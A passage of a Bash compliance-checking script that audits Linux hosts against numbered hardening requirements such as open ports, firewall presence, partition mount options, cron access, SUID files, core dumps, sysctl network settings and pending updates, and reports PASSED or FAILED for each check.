\"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check $1 is in config:\\e[1;31m FAILED\\e[0m (wrong value $CHK_VALUE in $CHK)\";\n fi\n done\n fi\n}\n\n# -----------------------------------------------------------------------------\n# Start Compliance Checks\n# -----------------------------------------------------------------------------\nREQ_NR=0\nCNT_PASSED=0\nCNT_ERRORS=0\nCNT_SKIP=0\necho \"-------------------------------------------------------------------------------\"\necho \" Start Testing ...\"\necho \"-------------------------------------------------------------------------------\"\n\n# Req 1: Unused services and protocols must be deactivated.\nlet \"REQ_NR++\";\nREQ_TXT=\"Unused services and protocols must be deactivated.\"\nFAIL=0\nPASS=0\n\ntest_req01 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/2\n NUM=1\n CHK_TCP=$(ss -nlt 2>/dev/null | awk '($1 == \"LISTEN\" && $4 !~ /127\\.0\\.0\\.[0-9]{1,4}/ && $4 !~ /\\[?::[0-9]{1,4}\\]?:/) {print $4}' | sed 's/.*://' | sort -nu)\n\n for CHK in $CHK_TCP; do\n if [ \"$CHK\" != \"$(echo $TCP_PORTS | grep -ow \"$CHK\")\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check open tcp ports:\\e[1;31m FAILED\\e[0m (found port $CHK)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check open tcp ports:\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n # Test 2/2\n NUM=1\n CHK_UDP=$(ss -nlu 2>/dev/null | awk '($1 == \"UNCONN\" && $4 !~ /127\\.0\\.0\\.[0-9]{1,4}/ && $4 !~ /\\[?::[0-9]{1,4}\\]?:/) {print $4}' | sed 's/.*://' | sort -nu)\n\n for CHK in $CHK_UDP; do\n if [ \"$CHK\" != \"$(echo $UDP_PORTS | grep -ow \"$CHK\")\" ]; then\n if [ \"$CHK\" -gt \"1024\" ]; then\n CHK_RSYSLOG=\"$(ss -ulpn | grep $CHK | grep rsyslog | wc -l)\"\n if [ \"$CHK_RSYSLOG\" -eq \"0\" ]; then\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check open udp ports:\\e[1;31m FAILED\\e[0m (found port $CHK)\";\n let FAIL=$FAIL+1;\n ERR=1;\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check open udp ports:\\e[1;32m PASSED\\e[0m\";\n fi\n else\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check open udp ports:\\e[1;31m FAILED\\e[0m (found port $CHK)\";\n let FAIL=$FAIL+1;\n ERR=1;\n fi\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check open udp ports:\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n \n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req01 $REQ01 \"$REQ01_TXT\"\n\n# Req 2: The reachability of services must be restricted.\nlet \"REQ_NR++\"\nREQ_TXT=\"The reachability of services must be restricted.\"\nFAIL=0\nPASS=0\n\ntest_req02 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/2\n NUM=1\n for CHK in $FIREWALL; do\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $CHK | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check firewall solution ($CHK):\\e[1;31m FAILED\\e[0m (not present)\";\n else\n let PASS=$PASS+1;\n ERR=0;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check firewall solution ($CHK):\\e[1;32m PASSED\\e[0m\";\n break;\n fi\n done\n\n # Test 2/2\n MATCH=1;\n if [ \"$OS\" == \"ubuntu\" ]; then\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $UBUNTU_IPTABLES_TOOLS | wc -l)\" -eq \"0\" ]; then\n MATCH=0;\n fi\n elif [ \"$OS\" == \"amzn\" ] || [ \"$OS\" == \"rhel\" ] || [ \"$OS\" == \"centos\" ]; then\n if [ \"$MAJOR_VERSION\" != \"8\" ]; then\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $REDHAT_IPTABLES_TOOLS | wc -l)\" -eq \"0\" ]; then\n MATCH=0;\n fi\n fi\n fi\n\n if [ \"$MATCH\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if iptable tools installed:\\e[1;31m FAILED\\e[0m (not present)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if iptable tools installed:\\e[1;32m PASSED\\e[0m\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req02 $REQ02 \"$REQ02_TXT\"\n\n# Req 3: Unused software must not be installed or must be uninstalled.\nlet \"REQ_NR++\"\nREQ_TXT=\"Unused software must not be installed or must be uninstalled.\"\nFAIL=0\nPASS=0\n\ntest_req03 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/2\n NUM=1\n for CHK in $SERVERS; do\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $CHK | wc -l)\" -ne \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check unused server ($CHK):\\e[1;31m FAILED\\e[0m (present)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check unused server ($CHK):\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n # Test 2/2\n NUM=1\n for CHK in $CLIENTS; do\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $CHK | wc -l)\" -ne \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check unused client ($CHK):\\e[1;31m FAILED\\e[0m (present)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check unused client ($CHK):\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req03 $REQ03 \"$REQ03_TXT\"\n\n# Req 4: Dedicated partitions must be used for growing content that can influence the availability of the system.\nlet \"REQ_NR++\"\nREQ_TXT=\"Dedicated partitions must be used for growing content that can influence the availability of the system.\"\nFAIL=0\nPASS=0\n\ntest_req04 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n for CHK in $PARTITIONS; do\n if [ \"$(grep -o $CHK /etc/fstab | sort -u | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check needed partition ($CHK):\\e[1;31m FAILED\\e[0m (not found)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check needed partition ($CHK):\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req04 $REQ04 \"$REQ04_TXT\"\n\n# Req 5: Parameters nodev, nosuid and noexec must be set for partitions where this is applicable.\nlet \"REQ_NR++\"\nREQ_TXT=\"Parameters nodev, nosuid and noexec must be set for partitions where this is applicable.\"\nFAIL=0\nPASS=0\n\ntest_req05 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n for CHK in $PARTITIONS; do\n PART_SEC=\"\"\n PARTITION=$(grep \" $CHK\" /etc/fstab 2>/dev/null)\n if [ \"$CHK\" == \"/tmp\" ]; then\n PART_SEC=\"nodev,nosuid\";\n elif [ \"$CHK\" == \"/var/tmp\" ]; then\n PART_SEC=\"nodev,nosuid,noexec\";\n elif [ \"$CHK\" == \"/dev/shm\" ]; then\n PART_SEC=\"nodev,nosuid,noexec\";\n elif [ \"$CHK\" == \"/home\" ]; then\n PART_SEC=\"nodev\";\n fi\n if [ ! -z \"$PART_SEC\" ]; then\n if [ \"$(echo $PARTITION | grep -o $PART_SEC 2>/dev/null | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check partition parameter ($CHK):\\e[1;31m FAILED\\e[0m (not found)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check partition parameters ($CHK):\\e[1;32m PASSED\\e[0m\";\n fi\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req05 $REQ05 \"$REQ05_TXT\"\n\n# Req 6: Automounting must be disabled.\nlet \"REQ_NR++\"\nREQ_TXT=\"Automounting must be disabled.\"\nFAIL=0\nPASS=0\n\ntest_req06 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n if [ \"$($PACKAGE 2>/dev/null | grep -ow autofs | wc -l)\" -ne \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if autofs is installed:\\e[1;31m FAILED\\e[0m (present)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if autofs is installed:\\e[1;32m PASSED\\e[0m\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req06 $REQ06 \"$REQ06_TXT\"\n\n# Req 7: The use of at/cron must be restricted to authorized users.\nlet \"REQ_NR++\"\nREQ_TXT=\"The use of at/cron must be restricted to authorized users.\"\nFAIL=0\nPASS=0\n\ntest_req07 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/3\n NUM=1\n for CHK in at cron; do\n if [ -f \"/etc/$CHK.deny\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check for $CHK.deny file:\\e[1;31m FAILED\\e[0m (present)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check for $CHK.deny file:\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n # Test 2/3\n NUM=1\n for CHK in at cron; do\n if [ -f \"/etc/$CHK.allow\" ]; then\n if [ \"$(stat -L -c \"%a %u %g\" /etc/$CHK.allow | grep -o \".00 0 0\")\" != \"\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check for $CHK.allow file:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check for $CHK.allow file:\\e[1;31m FAILED\\e[0m (wrong permissions)\";\n fi\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check for $CHK.allow file:\\e[1;31m FAILED\\e[0m (absent)\";\n fi\n done\n\n # Test 3/3\n NUM=1\n for CHK in at cron; do\n FILE=\"/etc/$CHK.allow\"\n if [ -f \"$FILE\" ]; then\n if [ \"$(grep 'root' $FILE)\" != \"root\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check for root in $FILE file:\\e[1;31m FAILED\\e[0m (not found)\";\n else\n if [ \"$(cat $FILE | wc -l)\" != \"1\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check for entries in $FILE file:\\e[1;31m FAILED\\e[0m (to many users)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check for users in $CHK.allow file:\\e[1;32m PASSED\\e[0m\";\n fi\n fi\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req07 $REQ07 \"$REQ07_TXT\"\n\n# Req 8: Sticky bit must be set on all world-writable directories.\nlet \"REQ_NR++\"\nREQ_TXT=\"Sticky bit must be set on all world-writable directories.\"\nFAIL=0\nPASS=0\n\ntest_req08 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n SRCH=$(df --local -P | awk {'if (NR!=1) print $6'} | xargs -I '{}' find '{}' -xdev -type d -perm -0002 \\! -perm -1000 2>/dev/null)\n CHK=$(echo \"$SRCH\" | wc -w)\n\n if [ \"$CHK\" -eq \"0\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check for world-writable directory:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n for DIR in $SRCH; do\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check for world-writable directory:\\e[1;31m FAILED\\e[0m (found $DIR)\";\n done\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req08 $REQ08 \"$REQ08_TXT\"\n\n# Req 9: No regular files that are world writable must exist.\nlet \"REQ_NR++\"\nREQ_TXT=\"No regular files that are world writable must exist.\"\nFAIL=0\nPASS=0\n\ntest_req09 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n SRCH=\"$(df --local -P | awk {'if (NR!=1) print $6'} | xargs -I '{}' find '{}' -xdev -type f -perm -0002 2>/dev/null)\"\n # CHK=\"$(echo \"$SRCH\" | wc -l)\"\n\n if [ -z \"$SRCH\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check for world-writable files:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n for FILE in $SRCH; do\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check for world-writable files:\\e[1;31m FAILED\\e[0m (found $FILE)\";\n done\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req09 $REQ09 \"$REQ09_TXT\"\n\n# Req 10: Passwords must be protected with an appropriate hashing function.\nlet \"REQ_NR++\"\nREQ_TXT=\"Passwords must be protected with an appropriate hashing function.\"\nFAIL=0\nPASS=0\n\ntest_req10 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n if [ \"`grep -i \"^ENCRYPT_METHOD SHA512\" /etc/login.defs`\" ] && \\\n [ \"`grep -i \"^SHA_CRYPT_MIN_ROUNDS 640000\" /etc/login.defs`\" ] && \\\n [ \"`grep -i \"^SHA_CRYPT_MAX_ROUNDS 640000\" /etc/login.defs`\" ]; then\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check password encryption:\\e[1;32m PASSED\\e[0m\";\n let PASS=$PASS+1;\n else\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check password encryption:\\e[1;31m FAILED\\e[0m (wrong config)\";\n let FAIL=$FAIL+1;\n ERR=1;\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req10 $REQ10 \"$REQ10_TXT\"\n\n# Req 11: The default user umask must be 027 or more restrictive.\nlet \"REQ_NR++\"\nREQ_TXT=\"The default user umask must be 027 or more restrictive.\"\nFAIL=0\nPASS=0\n\ntest_req11 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n if [ \"$(grep -i \"^UMASK $UMASK\" /etc/login.defs)\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check umask:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check umask:\\e[1;31m FAILED\\e[0m (wrong umask $UMASK)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req11 $REQ11 \"$REQ11_TXT\"\n\n# Req 12: Not needed SUID and SGID bits must be removed from executables.\nlet \"REQ_NR++\"\nREQ_TXT=\"Not needed SUID and SGID bits must be removed from executables.\"\nFAIL=0\nPASS=0\n\ntest_req12 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n CHK_FILES=$(df --local -P | awk {'if (NR!=1) print $6'} | xargs -I '{}' find '{}' -xdev -type f \\( -perm -4000 -o -perm -2000 \\) -print)\n\n for CHK in $CHK_FILES; do\n if [ \"$CHK\" != \"$(echo $SUID_FILES | grep -ow \"$CHK\")\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check file $CHK for not allowed SUID bit:\\e[1;31m FAILED\\e[0m (SUID set for $CHK)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check file $CHK for not allowed SUID bit:\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req12 $REQ12 \"$REQ12_TXT\"\n\n# Req 13: Core dumps must be disabled.\nlet \"REQ_NR++\"\nREQ_TXT=\"Core dumps must be disabled.\"\nFAIL=0\nPASS=0\n\ntest_req13 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/4 & 2/4\n PAR=$(echo $SUID_DUMPABLE | awk '{print $1}');\n VALUE=$(echo $SUID_DUMPABLE | awk '{print $2}');\n config_sysctl $PAR $VALUE\n\n # Test 3/4\n NUM=1\n DUMP=\"soft hard\"\n\n for CHK in $DUMP; do\n if [ -z \"$(ls -A /etc/security/limits.conf)\" ]; then\n ERR=1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if core dump is disaled:\\e[1;31m FAILED\\e[0m (config file not found)\";\n else\n if [ $(grep -i \"$CHK core 0\" /etc/security/limits.conf | wc -l) -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if core dump is disabled:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if core dump is disabled:\\e[1;31m FAILED\\e[0m ($CHK core)\";\n fi\n fi\n done\n\n # Test 4/4\n NUM=1\n for CHK in S H; do\n if [ \"$(ulimit -$CHK -c)\" == \"0\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 4.$(((NUM++)))] Check if ulimit is 0:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 4.$(((NUM++)))] Check if ulimit is 0:\\e[1;31m FAILED\\e[0m (ulimit not 0)\";\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req13 $REQ13 \"$REQ13_TXT\"\n\n# Req 14: Protection against buffer overflows must be enabled.\nlet \"REQ_NR++\"\nREQ_TXT=\"Protection against buffer overflows must be enabled.\"\nFAIL=0\nPASS=0\n\ntest_req14 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/3 & 2/3\n PAR=$(echo $RANDOM_VA_SPACE | awk '{print $1}');\n VALUE=$(echo $RANDOM_VA_SPACE | awk '{print $2}');\n config_sysctl $PAR $VALUE\n\n # Test 3/3\n NUM=1\n CHK_NX=$(dmesg | awk -F' ' '{if ($3 == \"NX\") print $7}')\n\n if [ \"$CHK_NX\" == \"active\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if NX/XD is enabled:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if NX/XD is enabled:\\e[1;31m FAILED\\e[0m ($CHK_NX)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req14 $REQ14 \"$REQ14_TXT\"\n\n# Req 15: IPv4 protocol stack must be securely configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"IPv4 protocol stack must be securely configured.\"\nFAIL=0\nPASS=0\n\ntest_req15 () {\n if [ \"$1\" == \"TRUE\" ]; then\n \n CNT=1\n IPV4=IPV4_$CNT\n\n while [ $CNT -lt 24 ]; do\n\n # Test 1/2 & 2/2\n PAR=$(echo ${!IPV4} | awk '{print $1}');\n VALUE=$(echo ${!IPV4} | awk '{print $2}');\n config_sysctl $PAR $VALUE\n let CNT++;\n IPV4=IPV4_$CNT;\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req15 $REQ15 \"$REQ15_TXT\"\n\n# Req 16: IPv6 protocol stack must be securely configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"IPv6 protocol stack must be securely configured.\"\nFAIL=0\nPASS=0\n\ntest_req16 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n CNT=1\n IPV6=IPV6_$CNT\n\n if [ $(sysctl net.ipv6.conf.all.disable_ipv6 | awk '{print $3}') -eq 0 ] && \\\n [ $(sysctl net.ipv6.conf.default.disable_ipv6 | awk '{print $3}') -eq 0 ]; then\n while [ $CNT -lt 23 ]; do\n # Test 1/2 & 2/2\n PAR=$(echo ${!IPV6} | awk '{print $1}');\n VALUE=$(echo ${!IPV6} | awk '{print $2}');\n config_sysctl $PAR $VALUE\n let CNT++;\n IPV6=IPV6_$CNT;\n done\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n else\n echo -e \"[Req-$REQ_NR: Test 2.1] Check IPv6 in config: n/a (disabled)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable\">&3;\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req16 $REQ16 \"$REQ16_TXT\"\n\n# Req 17: Emerged vulnerabilities in software and hardware of a system must be fixed or protected against misuse.\nlet \"REQ_NR++\"\nREQ_TXT=\"Emerged vulnerabilities in software and hardware of a system must be fixed or protected against misuse.\"\nFAIL=0\nPASS=0\n\ntest_req17 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n UPDATE_ERR=0\n\n # Test 1/1\n NUM=1\n if [ \"$OS\" == \"debian\" ] || [ \"$OS\" == \"ubuntu\" ] ; then\n apt update &>/dev/null\n if [ $(apt list --upgradable 2>/dev/null | wc -l) -gt 1 ]; then UPDATE_ERR=1; fi\n elif [ \"$OS\" == \"amzn\" ] || [ \"$OS\" == \"rhel\" ] || [ \"$OS\" == \"centos\" ]; then\n if [ $(yum check-update 2>/dev/null | grep \"updates$\" | wc -l) -ne 0 ]; then UPDATE_ERR=1; fi\n elif [ \"$OS\" == \"sles\" ]; then\n zypper refresh -s &>/dev/null\n if [ $(zypper list-updates 2>/dev/null | grep \"No updates found.\" | wc -l) -ne 1 ]; then UPDATE_ERR=1; fi\n fi\n\n if [ $UPDATE_ERR -eq 1 ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if system is up-to-date:\\e[1;31m FAILED\\e[0m (updates missing)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if system is up-to-date:\\e[1;32m PASSED\\e[0m\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req17 $REQ17 \"$REQ17_TXT\"\n\n# Req 18: GPG Check for repository server must be activated and corresponding keys for trustable repositories must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"GPG Check for repository server must be activated and corresponding keys for trustable repositories must be 